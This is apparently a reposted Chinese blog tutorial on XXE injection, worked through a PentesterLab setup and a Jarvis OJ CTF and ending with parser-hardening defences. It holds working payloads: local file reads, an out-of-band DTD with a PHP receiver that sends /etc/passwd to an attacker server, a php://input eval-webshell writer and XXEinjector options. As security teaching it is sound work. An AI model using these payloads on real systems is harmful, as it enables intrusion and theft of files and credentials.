前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >XXE攻击与防御

XXE攻击与防御

作者头像
全栈程序员站长
发布2022-08-25 13:34:54
1.3K0
发布2022-08-25 13:34:54
举报
文章被收录于专栏:全栈程序员必看

大家好,又见面了,我是你们的朋友全栈君。

XXE

XXE是一种很常见的漏洞类型危害也挺大的,如果一个web服务器通过用户上传处理XML文件或POST请求时,那么可能就会存在漏洞。

前段时间比较出名的微信支付的xxe漏洞

漏洞简历

XXE就是XML外部实体注入,当服务器允许引用外部实体时,同过构建恶意内容来攻击网站

产生原因

解析xml文件时允许加载外部实体,并且实体的URL支持file://和PHP://等协议,没有过滤用户提交的参数

危害

  • 读取任意文件
  • 执行系统命令
  • 探测内网端口
  • 攻击内网网站
  • DOS攻击

漏洞检测

利用burp检测那些接受xml作为输入内容的节点,通过修改不同的字段,如 http 请求方法Content-Type 头部字段等,然后看看应用程序的响应是否解析了发送的内容,如果解析了,那么就有可能有 XXE 漏洞

XML+DTD基础知识

XML:

  • XML 指可扩展标记语言(EXtensible Markup Language)。
  • XML 是一种很像HTML的标记语言。
  • XML 的设计宗旨是传输数据,而不是显示数据。
  • XML 标签没有被预定义。您需要自行定义标签。
  • XML 被设计为具有自我描述性。
  • XML 是 W3C 的推荐标准。
XML 和 HTML 之间的差异:

XML 不是 HTML 的替代。 XML 和 HTML 为不同的目的而设计:

  • XML 被设计用来传输和存储数据,其焦点是数据的内容。
  • HTML 被设计用来显示数据,其焦点是数据的外观。

HTML 旨在显示信息,而 XML 旨在传输信息。两个语言均来自SGML语言

XML文档结构包括XML声明、DTD文档类型定义、文档元素

在这里插入图片描述
在这里插入图片描述
DTD引用方式:

内容声明:<!DOCTYOE 根元素 [元素声明]>

代码语言:javascript
复制
<?xml version='1.0' encoding="utf-8" ?>

<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>

<note>
	<to>James</to>
	<from>Tim</from>
	<heading>Message</heading>
	<body>winner winner !</body>
</note>

外部引用:

代码语言:javascript
复制
<?xml version='1.0' encoding="utf-8" ?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
	<to>James</to>
	<from>Tim</from>
	<heading>Message</heading>
	<body>winner winner !</body>
</note>

其中note.dtd内容为:

代码语言:javascript
复制
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to       (#PCDATA)>
<!ELEMENT from     (#PCDATA)>
<!ELEMENT heading  (#PCDATA)>
<!ELEMENT body     (#PCDATA)>

引用公共的DTD(网络上的DTD文件):

<!DOCUTYPE 根元素 PUBLIC “DTD名称” “DTD文档的URL”>

代码语言:javascript
复制
<?xml version=”1.0″?>   

<!DOCTYPE configuration PUBLIC “-//mybatis.org//DTD Config 3.0//EN” “http://mybatis.org/dtd/mybatis-3-config.dtd”>

命名方法:以!DOCTYPE开始,configuration是文档根元素名称;
PUBLIC表示是公共DTD;-表示是非ISO组织;mybatis.org表示组织;
DTD 表示类型;Config 表示标签;3.0是标签后附带的版本号;
EN表示DTD语言是英语;最后是DTD的URL;

其中,外部引用可支持http、file等协议,不同语言支持的协议不同,但存在一些通用的协议。

默认协议:

在这里插入图片描述
在这里插入图片描述

知识扩展

php伪协议

php伪协议实际上就是支持与封装的协议(共十二种) a. file:// — 访问本地文件系统 b. http:// — 访问 HTTP(s) 网址 c. ftp:// — 访问 FTP(s) URLs d. php:// — 访问各个输入/输出流(I/O streams) e. zlib:// — 压缩流 f. data:// — 数据(RFC 2397) g. glob:// — 查找匹配的文件路径模式 h. phar:// — PHP 归档 i. ssh2:// — Secure Shell 2 j. rar:// — RAR k. ogg:// — 音频流 l. expect:// — 处理交互式的流

file://协议

file://协议在双off的情况下也是可以正常使用的 allow_url_fopen :off/on allow_url_include:off/on


file://用于访问本地文件系统,在CTF中常用来读取本地文件 使用方法:file://文件的绝对路径和文件名

测试代码:

代码语言:javascript
复制
<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

代码测试:

在这里插入图片描述
在这里插入图片描述

php://协议

php://协议的使用条件: \1. 不需要开启allow_url_fopen \2. php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。


php://filter 用于读取源码且在双off的情况下也可以正常使用 allow_url_fopen :off/on (使用条件) allow_url_include:off/on URL: http://192.168.10.1/filter.php?file=php://filter/read=convert.base64-encode/resource=index.php


php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。 allow_url_fopen :off/on allow_url_include:on URL:http://192.168.10.1/input.php?file=php://input 在Hacbar下选择POST data写入 <?PHP fputs(fopen(‘shell.php’,’w’),'<?php @eval($_POST[cmd])?>’);?>

漏洞代码分析

代码语言:javascript
复制
<?php 
	$xml=file_get_contents("php://input"); 
	$data = simplexml_load_string($xml) ; 
	echo "<pre>" ; 
	print_r($data) ;  
	echo "</pre>" ; 
?> 
file_get_contents

https://www.w3school.com.cn/php/func_filesystem_file_get_contents.asp

file_get_contents() 函数把整个文件读入一个字符串中。获取客户端输入的内容

在这里插入图片描述
在这里插入图片描述

php://input #是个可以访问请求的原始数据的只读流。

结合 file_get_contents(“php://input”) 可以读取POST提交的数据,存入 $xml

simplexml_load_string 函数介绍

php 中的 simplexml_load_string 函数将xml 格式字符串转换为对应的simpleXMLElementObject

代码语言:javascript
复制
<?php
    $note="<note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body></note>";
    $xml=simplexml_load_string($note);
    print_r($xml);
?>
php://input介绍

php://input是个可以访问请求的原始数据的只读流

结合file_get_contents(“php://input”)可以读取POST提交的数据

代码语言:javascript
复制
<?php
	$str = file_get_contents("php://input");
	echo $str
?>
在这里插入图片描述
在这里插入图片描述

php中的simplexml_load_string函数将xml格式字符串转换为对应的SimpleXMLElement

xxe注入的思路

  1. file_get_contents(“php://input”)可以读取 POST 提交的数据
  2. 那么我们通过 POST 提交 XML 代码,
  3. XML 代码中引用外部 DTD,读取想要的系统文件
  4. 通过 simplexml_load_string()函数显示数据。

漏洞利用

有回显漏洞
代码语言:javascript
复制
<?php
	$xml=file_get_contents("php://input");
	$data = simplexml_load_string($xml) ;
	echo "<pre>" ;
	print_r($data) ;//注释掉该语句即为无回显的情况
?>

利用方式:可以构造xml进行提交,然后在页面中直接看到payload执行结果

任意文件读取

可以利用各种协议可以读取文件:

file协议:

代码语言:javascript
复制
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///E:/phpstudys/PHPTutorial/WWW/cheshi/1.txt">]>
<value>&xxe;</value>
在这里插入图片描述
在这里插入图片描述

如果是php文件,直接读取会出现解析错误,那么就需要利用base64编码,并结合php伪协议

代码语言:javascript
复制
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php" >]> 
<root> 
<name>&xxe;</name> 
</root> 

我们截取的数据包当中,可以看到并没有Content-Type:xxxxx,如果有Content-Type

代码语言:javascript
复制
改:Content-Type: application/x-www-form-urlencoded 
为:Content-Type: text/xml

提交我们构建的Payload:

在这里插入图片描述
在这里插入图片描述

此时我们可以看到,我们成功返回了base64加密的数据

base64解密

在这里给大家提供3种方法,我们分别利用到了kali,burp suite,在线base64解密

在线base64解密

网上有许多的base64解码工具,大家可以自行上网查找

https://tool.oschina.net/encrypt?type=3

站长工具

利用kali解密

在Kali中使用base64进行解密获取文本内容

在这里插入图片描述
在这里插入图片描述
利用burpsuite解密

对于小白不会用burp suite的情况下,这里博主在啰嗦两句

代码语言:javascript
复制
Decode as ....... 解码
Encode as ....... 加密
在这里插入图片描述
在这里插入图片描述
无回显文件读取

将PentesterLab .iso 镜像直接导入

对于新手小白不会安装的同学,博主这里直接给你们安利了更简单的 链接:https://pan.baidu.com/s/1H1TG9jkLfZVoFF-X1iPzaQ 提取码:bg4j

在这里插入图片描述
在这里插入图片描述
实验拓扑
在这里插入图片描述
在这里插入图片描述

实验前提目标服务器存在xxe:

我们向的服务器发送恶意的xml request请求到服务器端,服务器收到我们发送的xml request,就会请求我们自定义的服务器server端,来获取校验文件,收到后,我们server端就会返回到服务器当中,当返回dtd这个定义文件后就会在本服务器查询对应的数据,在返回给我们的server端

服务器可以随便选择,这里我用的是kali,对于不了解Linux的同学,博主将给你们带来亲妈级别的教学

kali服务器准备工作

需要建立一个外部的 DTD 文件,一个用于接受数据的 PHP 文件,以及存储数据的数据文件

建立DTD外部实体文件
代码语言:javascript
复制
┌──(root💀xvbinyv)-[~]
└─# cd /var/www/html 
                                                                                                         
┌──(root💀xvbinyv)-[/var/www/html]
└─# vim test.dtd
代码语言:javascript
复制
<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 " <!ENTITY e1 SYSTEM 'http://192.168.10.129/xxe.php?pass=%p1;'>">
%p2;

注:% p1 定义一个参数实体,%和 p1 之间有一个空格,用于接收 file:///etc/passwd 的内容,%p1 引用参数实体,参数实体只能在 DTD 文件中被引用

建立php文件
代码语言:javascript
复制
┌──(root💀xvbinyv)-[/var/www/html]
└─# vim xxe.php 
代码语言:javascript
复制
<?php $pass=$_GET['pass']; file_put_contents('pass.txt',$pass); ?>
创建存储数据的文件
代码语言:javascript
复制
┌──(root💀xvbinyv)-[/var/www/html]
└─# touch pass.txt  
修改文件权限
代码语言:javascript
复制
┌──(root💀xvbinyv)-[/var/www/html]
└─# chown -R www-data:www-data /var/www/html/*
启动apache2
代码语言:javascript
复制
┌──(root💀xvbinyv)-[/var/www/html]
└─# systemctl start apache2.service
测试php文件能够正常写入数据
代码语言:javascript
复制
┌──(root💀xvbinyv)-[/var/www/html]
└─# curl http://192.168.159.132/xxe.php?pass=1                                          ┌──(root💀xvbinyv)-[/var/www/html]
└─# cat pass.txt
在这里插入图片描述
在这里插入图片描述
进行XXE
PentesterLab

访问我们搭建的靶场

在这里插入图片描述
在这里插入图片描述

开启burpsuite进行截断:

在这里插入图片描述
在这里插入图片描述

payload 代码

代码语言:javascript
复制
<?xml version="1.0"?> 
<!DOCTYPE e1 SYSTEM "http://192.168.10.129/test.dtd">
<foo>&e1;</foo>

抓到的包修改以下内容

代码语言:javascript
复制
改:Content-Type: application/x-www-form-urlencoded 
为:Content-Type: text/xml
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-w1CwKB8b-1648277910520)(C:\Users\32393\Desktop\网络安全\图片\image-20220325123943193.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-w1CwKB8b-1648277910520)(C:\Users\32393\Desktop\网络安全\图片\image-20220325123943193.png)]

在kali上查看

代码语言:javascript
复制
┌──(root💀xvbinyv)-[/var/www/html]
└─# cat pass.txt 
在这里插入图片描述
在这里插入图片描述
ctf题

是来自Jarvis OJ平台的一道web题型,地址http://web.jarvisoj.com:9882/

在这里插入图片描述
在这里插入图片描述

看到题目说flag在/home/ctf/flag.txt中,那么就是访问这个目录了。

首先,我们看一下地址入口,页面是一个提交框,点击go后,把输入框输入的信息,提交到文本框中

在这里插入图片描述
在这里插入图片描述

看一下响应包中的提交数据包和响应包数据:

在这里插入图片描述
在这里插入图片描述

发现,提交数据是以json格式提交的数据。那么对于这种提交方式,去尝试会不会解析xml,那么要修改一下Content-type为xml,然后写一个xml,看响应包解不解析:

在这里插入图片描述
在这里插入图片描述

我们尝试去访问flag.txt文件了,构造代码payload:

代码语言:javascript
复制
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt">]>
<value>&xxe;</value>
在这里插入图片描述
在这里插入图片描述

成功获取flag

经过两个实验相信大家已经对XXE已经有一定的理解了

XXE防御
升级libxml版本

libxml 2.9.0以后,默认不解析外部实体,或者禁止使用外部实体. http://www.linuxfromscratch.org/blfs/view/cvs/general/libxml2.html

在这里插入图片描述
在这里插入图片描述
代码层防御

使用开发语言提供的禁用外部实体的方法

PHP:

代码语言:javascript
复制
libxml_disable_entity_loader(true); 

JAVA:

代码语言:javascript
复制
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); 

Python:

代码语言:javascript
复制
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) 

过滤用户提交的 XML 数据 关键词:<!DOCTYPE 和<!ENTITY,或者,SYSTEM 和 PUBLIC

XXE工具

感兴趣的同学可以自己去网上看一下教程,随便教一下我!!!

下载地址:https://github.com/enjoiz/XXEinjector/archive/master.zip

参数说明

代码语言:javascript
复制
--host     			必填项– 用于建立反向链接的IP地址。(--host=192.168.0.2)
--file      		必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt)
--path           必填项-是否需要枚举目录 – 枚举路径。(--path=/etc)
--brute          必填项-是否需要爆破文件 -爆破文件的路径。(--brute=/tmp/brute.txt)
--logger        	记录输出结果。
--rhost          远程主机IP或域名地址。(--rhost=192.168.0.3)
--rport          远程主机的TCP端口信息。(--rport=8080)
--phpfilter    	在发送消息之前使用PHP过滤器对目标文件进行Base64编码。
--netdoc     		使用netdoc协议。(Java).
--enumports   枚举用于反向链接的未过滤端口。(--enumports=21,22,80,443,445)
--hashes       窃取运行当前应用程序用户的Windows哈希。
--expect        使用PHP expect扩展执行任意系统命令。(--expect=ls)
--upload       使用Java jar向临时目录上传文件。(--upload=/tmp/upload.txt)
--xslt      		XSLT注入测试。
--ssl              使用SSL。
--proxy         使用代理。(--proxy=127.0.0.1:8080)
--httpport 		Set自定义HTTP端口。(--httpport=80)
--ftpport       设置自定义FTP端口。(--ftpport=21)
--gopherport  设置自定义gopher端口。(--gopherport=70)
--jarport       设置自定义文件上传端口。(--jarport=1337)
--xsltport  	设置自定义用于XSLT注入测试的端口。(--xsltport=1337)
--test     		该模式可用于测试请求的有效。
--urlencode     URL编码,默认为URI。
--output       爆破攻击结果输出和日志信息。(--output=/tmp/out.txt)
--timeout     设置接收文件/目录内容的Timeout。(--timeout=20)
--contimeout  设置与服务器断开连接的,防止DoS出现。(--contimeout=20)
--fast     		跳过枚举询问,有可能出现结果假阳性。
--verbose     显示verbose信息。

在这里,再给大家几个靶场,感兴趣的同学可以自己尝试一下

https://github.com/c0ny1/xxe-lab pikachu

参考文献

https://www.cnblogs.com/20175211lyz/p/11413335.html https://security.tencent.com/index.php/blog/msg/69 https://www.runoob.com/xml/xml-tutorial.html https://www.w3school.com.cn/dtd/dtd_intro.asp

本文章借鉴了各路大神的手笔,博主也是学生难免会有些错误和理解不到位的地方,欢迎讨论与指正!!!

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/142501.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022年5月1,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • XXE
    • 漏洞简历
      • 产生原因
        • 危害
          • 漏洞检测
            • XML+DTD基础知识
              • XML:
              • XML 和 HTML 之间的差异:
              • DTD引用方式:
            • 知识扩展
              • 漏洞代码分析
                • file_get_contents
                • simplexml_load_string 函数介绍
                • php://input介绍
              • xxe注入的思路
                • 漏洞利用
                  • 有回显漏洞
                  • 任意文件读取
                  • base64解密
                  • 无回显文件读取
                  • 实验拓扑
                  • kali服务器准备工作
                  • 进行XXE
                  • XXE防御
                • XXE工具
                  • 参考文献
                  相关产品与服务
                  脆弱性检测服务
                  脆弱性检测服务(Vulnerability detection Service,VDS)在理解客户实际需求的情况下,制定符合企业规模的漏洞扫描方案。通过漏洞扫描器对客户指定的计算机系统、网络组件、应用程序进行全面的漏洞检测服务,由腾讯云安全专家对扫描结果进行解读,为您提供专业的漏洞修复建议和指导服务,有效地降低企业资产安全风险。
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档